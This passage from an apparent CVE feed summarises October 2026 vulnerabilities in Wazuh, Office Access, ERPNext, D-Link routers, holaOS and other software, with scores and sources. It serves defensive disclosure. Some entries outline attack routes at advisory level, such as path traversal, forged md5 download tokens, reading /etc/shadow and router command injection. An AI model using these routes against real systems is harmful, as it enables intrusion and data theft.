NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63162&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a path traversal vulnerability that allows attackers to write arbitrary files outside the intended temporary directory by supplying an unanchored tmpFolderName value in the upload destination path. Attackers can exploit this flaw, for example by setting tmpFolderName to a traversal sequence targeting the web root, to write attacker-controlled files and achieve remote code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in the MobileFileDownload route that allows unauthenticated attackers to download arbitrary...
https://kevwire.com/record/CVE-2026-63163
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in the MobileFileDownload route that allows unauthenticated attackers to download arbitrary... (Oct 13, 2026).
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in the MobileFileDownload route that allows unauthenticated attackers to download arbitrary files by computing an md5(filename) token instead of passing a proper authorization check. Attackers can guess or determine file names to generate the corresponding md5 token and retrieve protected files without authorization, leading to unauthorized information disclosure.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-63163).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63163&date=2026-10-25).
Sources:
NVD CVE-2026-63163: https://nvd.nist.gov/vuln/detail/CVE-2026-63163
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63163&date=2026-10-25
Omnispace Agora Project before 26.10.0 contains a broken access control vulnerability in the MobileFileDownload route that allows unauthenticated attackers to download arbitrary files by computing an md5(filename) token instead of passing a proper authorization check. Attackers can guess or determine file names to generate the corresponding md5 token and retrieve protected files without authorization, leading to unauthorized information disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105595
Out-of-bounds read in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105595).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105595&date=2026-10-25).
Sources:
NVD CVE-2026-105595: https://nvd.nist.gov/vuln/detail/CVE-2026-105595
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105595
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105595&date=2026-10-25
Out-of-bounds read in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the delete_rule_file and delete_decoder_file helpers that allows malicious cluster workers to delete...
https://kevwire.com/record/CVE-2026-74031
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the delete_rule_file and delete_decoder_file helpers that allows malicious cluster workers to delete... (Oct 13, 2026).
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the delete_rule_file and delete_decoder_file helpers that allows malicious cluster workers to delete arbitrary files via an unvalidated filename parameter. Attackers holding the cluster key can invoke these helpers through DistributedAPI with traversal sequences to delete ossec.conf, client.keys, or rules as the wazuh user.
CVSS 7.0 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74031).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74031&date=2026-10-25).
Sources:
NVD CVE-2026-74031: https://nvd.nist.gov/vuln/detail/CVE-2026-74031
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74031&date=2026-10-25
Wazuh from 4.1.1 before 4.14.8 contains a path traversal vulnerability in the delete_rule_file and delete_decoder_file helpers that allows malicious cluster workers to delete arbitrary files via an unvalidated filename parameter. Attackers holding the cluster key can invoke these helpers through DistributedAPI with traversal sequences to delete ossec.conf, client.keys, or rules as the wazuh user.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh from 4.1.0 before 4.14.8 contains a missing origin check in wm_agent_upgrade that allows enrolled agents to issue upgrade_custom commands with attacker-controlled file_path.
https://kevwire.com/record/CVE-2026-74034
Wazuh from 4.1.0 before 4.14.8 contains a missing origin check in wm_agent_upgrade that allows enrolled agents to issue upgrade_custom commands with attacker-controlled file_path. (Oct 13, 2026).
Wazuh from 4.1.0 before 4.14.8 contains a missing origin check in wm_agent_upgrade that allows enrolled agents to issue upgrade_custom commands with attacker-controlled file_path. Attackers can inject an upgrade_custom message over the agent channel to read arbitrary files as root, exfiltrating /etc/shadow and client.keys.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74034).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74034&date=2026-10-25).
Sources:
NVD CVE-2026-74034: https://nvd.nist.gov/vuln/detail/CVE-2026-74034
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74034&date=2026-10-25
Wazuh from 4.1.0 before 4.14.8 contains a missing origin check in wm_agent_upgrade that allows enrolled agents to issue upgrade_custom commands with attacker-controlled file_path. Attackers can inject an upgrade_custom message over the agent channel to read arbitrary files as root, exfiltrating /etc/shadow and client.keys.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh from 4.3.0 before 4.14.8 contains a remote code execution vulnerability where SCA policy trust is determined by file path rather than configuration source.
https://kevwire.com/record/CVE-2026-74036
Wazuh from 4.3.0 before 4.14.8 contains a remote code execution vulnerability where SCA policy trust is determined by file path rather than configuration source. (Oct 13, 2026).
Wazuh from 4.3.0 before 4.14.8 contains a remote code execution vulnerability where SCA policy trust is determined by file path rather than configuration source. Attackers controlling a manager can write unsigned policy files to var/incoming via the upgrade channel and reference them to execute command checks as root on agents.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74036).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74036&date=2026-10-25).
Sources:
NVD CVE-2026-74036: https://nvd.nist.gov/vuln/detail/CVE-2026-74036
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74036&date=2026-10-25
Wazuh from 4.3.0 before 4.14.8 contains a remote code execution vulnerability where SCA policy trust is determined by file path rather than configuration source. Attackers controlling a manager can write unsigned policy files to var/incoming via the upgrade channel and reference them to execute command checks as root on agents.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wazuh from 3.12.0 before 4.14.8 contains a heap buffer overflow in fim_generate_alert() where full_log is sized from input but written bounded by OS_MAXSTR.
https://kevwire.com/record/CVE-2026-74045
Wazuh from 3.12.0 before 4.14.8 contains a heap buffer overflow in fim_generate_alert() where full_log is sized from input but written bounded by OS_MAXSTR. (Oct 13, 2026).
Wazuh from 3.12.0 before 4.14.8 contains a heap buffer overflow in fim_generate_alert() where full_log is sized from input but written bounded by OS_MAXSTR. An enrolled agent can send a crafted FIM syscheck event to corrupt manager heap memory and deterministically crash wazuh-analysisd, causing a fleet-wide detection outage.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-74045).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-74045&date=2026-10-25).
Sources:
NVD CVE-2026-74045: https://nvd.nist.gov/vuln/detail/CVE-2026-74045
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-74045&date=2026-10-25
Wazuh from 3.12.0 before 4.14.8 contains a heap buffer overflow in fim_generate_alert() where full_log is sized from input but written bounded by OS_MAXSTR. An enrolled agent can send a crafted FIM syscheck event to corrupt manager heap memory and deterministically crash wazuh-analysisd, causing a fleet-wide detection outage.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105596
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105596).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105596&date=2026-10-25).
Sources:
NVD CVE-2026-105596: https://nvd.nist.gov/vuln/detail/CVE-2026-105596
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105596
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105596&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105597
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105597).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105597&date=2026-10-25).
Sources:
NVD CVE-2026-105597: https://nvd.nist.gov/vuln/detail/CVE-2026-105597
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105597
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105597&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105598
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105598).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105598&date=2026-10-25).
Sources:
NVD CVE-2026-105598: https://nvd.nist.gov/vuln/detail/CVE-2026-105598
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105598
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105598&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105714
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105714).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105714&date=2026-10-25).
Sources:
NVD CVE-2026-105714: https://nvd.nist.gov/vuln/detail/CVE-2026-105714
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105714
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105714&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105716
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105716).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105716&date=2026-10-25).
Sources:
NVD CVE-2026-105716: https://nvd.nist.gov/vuln/detail/CVE-2026-105716
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105716
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105716&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105717
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105717).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105717&date=2026-10-25).
Sources:
NVD CVE-2026-105717: https://nvd.nist.gov/vuln/detail/CVE-2026-105717
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105717
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105717&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Access allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell Terraform Provider for Redfish, versions prior to 1.6.2, contains an Improper Certificate Validation vulnerability in the HTTP transport component.
https://kevwire.com/record/CVE-2026-91881
Dell Terraform Provider for Redfish, versions prior to 1.6.2, contains an Improper Certificate Validation vulnerability in the HTTP transport component. (Oct 14, 2026).
Dell Terraform Provider for Redfish, versions prior to 1.6.2, contains an Improper Certificate Validation vulnerability in the HTTP transport component. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure and unauthorized access. This is a Critical severity vulnerability as it allows an unauthenticated attacker to intercept all Redfish BMC traffic including credentials by performing a man-in-the-middle attack, since TLS certificate verification is unconditionally disabled in the base HTTP transport. Dell recommends customers to upgrade at the earliest opportunity.
CVSS 9.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91881).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91881&date=2026-10-25).
Sources:
NVD CVE-2026-91881: https://nvd.nist.gov/vuln/detail/CVE-2026-91881
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91881&date=2026-10-25
Dell Terraform Provider for Redfish, versions prior to 1.6.2, contains an Improper Certificate Validation vulnerability in the HTTP transport component. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to information exposure and unauthorized access. This is a Critical severity vulnerability as it allows an unauthenticated attacker to intercept all Redfish BMC traffic including credentials by performing a man-in-the-middle attack, since TLS certificate verification is unconditionally disabled in the base HTTP transport. Dell recommends customers to upgrade at the earliest opportunity.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### holaOS through 2026.822.1 contains a missing authorization vulnerability in channel-gateway connectors that allows any messaging-platform user to submit agent tasks because the...
https://kevwire.com/record/CVE-2026-110769
holaOS through 2026.822.1 contains a missing authorization vulnerability in channel-gateway connectors that allows any messaging-platform user to submit agent tasks because the... (Oct 14, 2026).
holaOS through 2026.822.1 contains a missing authorization vulnerability in channel-gateway connectors that allows any messaging-platform user to submit agent tasks because the #isAllowed check accepts all senders when the default allowFrom list is empty. Attackers who can message the operator's Telegram, Slack, Discord, or other bot can have ChannelIngress.handle pass turns to the workspace agent, running configured tools on the operator's machine.
CVSS 8.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110769).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110769&date=2026-10-25).
Sources:
NVD CVE-2026-110769: https://nvd.nist.gov/vuln/detail/CVE-2026-110769
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110769&date=2026-10-25
holaOS through 2026.822.1 contains a missing authorization vulnerability in channel-gateway connectors that allows any messaging-platform user to submit agent tasks because the #isAllowed check accepts all senders when the default allowFrom list is empty. Attackers who can message the operator's Telegram, Slack, Discord, or other bot can have ChannelIngress.handle pass turns to the workspace agent, running configured tools on the operator's machine.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in D-Link DIR-868L 2.01b05. This impacts the function system of the file /htdocs/cgibin of the component HNAP CGI Handler.
https://kevwire.com/record/CVE-2026-110536
A vulnerability was determined in D-Link DIR-868L 2.01b05. This impacts the function system of the file /htdocs/cgibin of the component HNAP CGI Handler. (Oct 14, 2026).
A vulnerability was determined in D-Link DIR-868L 2.01b05. This impacts the function system of the file /htdocs/cgibin of the component HNAP CGI Handler. Executing a manipulation of the argument SOAPACTION can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110536).
EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110536&date=2026-10-25).
Sources:
NVD CVE-2026-110536: https://nvd.nist.gov/vuln/detail/CVE-2026-110536
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110536&date=2026-10-25
A vulnerability was determined in D-Link DIR-868L 2.01b05. This impacts the function system of the file /htdocs/cgibin of the component HNAP CGI Handler. Executing a manipulation of the argument SOAPACTION can lead to os command injection. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.
https://kevwire.com/record/CVE-2026-109694
Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5. (Oct 15, 2026).
Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109694).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109694&date=2026-10-25).
Sources:
NVD CVE-2026-109694: https://nvd.nist.gov/vuln/detail/CVE-2026-109694
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109694&date=2026-10-25
Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL...
https://kevwire.com/record/CVE-2026-109688
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL... (Oct 15, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.
CVSS 9.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109688).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109688&date=2026-10-25).
Sources:
NVD CVE-2026-109688: https://nvd.nist.gov/vuln/detail/CVE-2026-109688
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109688&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a stored cross-site scripting vulnerability in a profile field that is rendered without escaping into portal pages.
https://kevwire.com/record/CVE-2026-109671
Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a stored cross-site scripting vulnerability in a profile field that is rendered without escaping into portal pages. (Oct 12, 2026).
Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a stored cross-site scripting vulnerability in a profile field that is rendered without escaping into portal pages. Low-privilege attackers can store malicious script in the field that executes in the browser of any administrator viewing those pages, enabling administrator account takeover.
CVSS 8.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109671).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109671&date=2026-10-25).
Sources:
NVD CVE-2026-109671: https://nvd.nist.gov/vuln/detail/CVE-2026-109671
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109671&date=2026-10-25
Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a stored cross-site scripting vulnerability in a profile field that is rendered without escaping into portal pages. Low-privilege attackers can store malicious script in the field that executes in the browser of any administrator viewing those pages, enabling administrator account takeover.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks on...
https://kevwire.com/record/CVE-2026-109666
Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks on... (Oct 12, 2026).
Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks on inventory records. Authenticated users can send requests to these endpoints to modify inventory data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109666).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109666&date=2026-10-25).
Sources:
NVD CVE-2026-109666: https://nvd.nist.gov/vuln/detail/CVE-2026-109666
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109666&date=2026-10-25
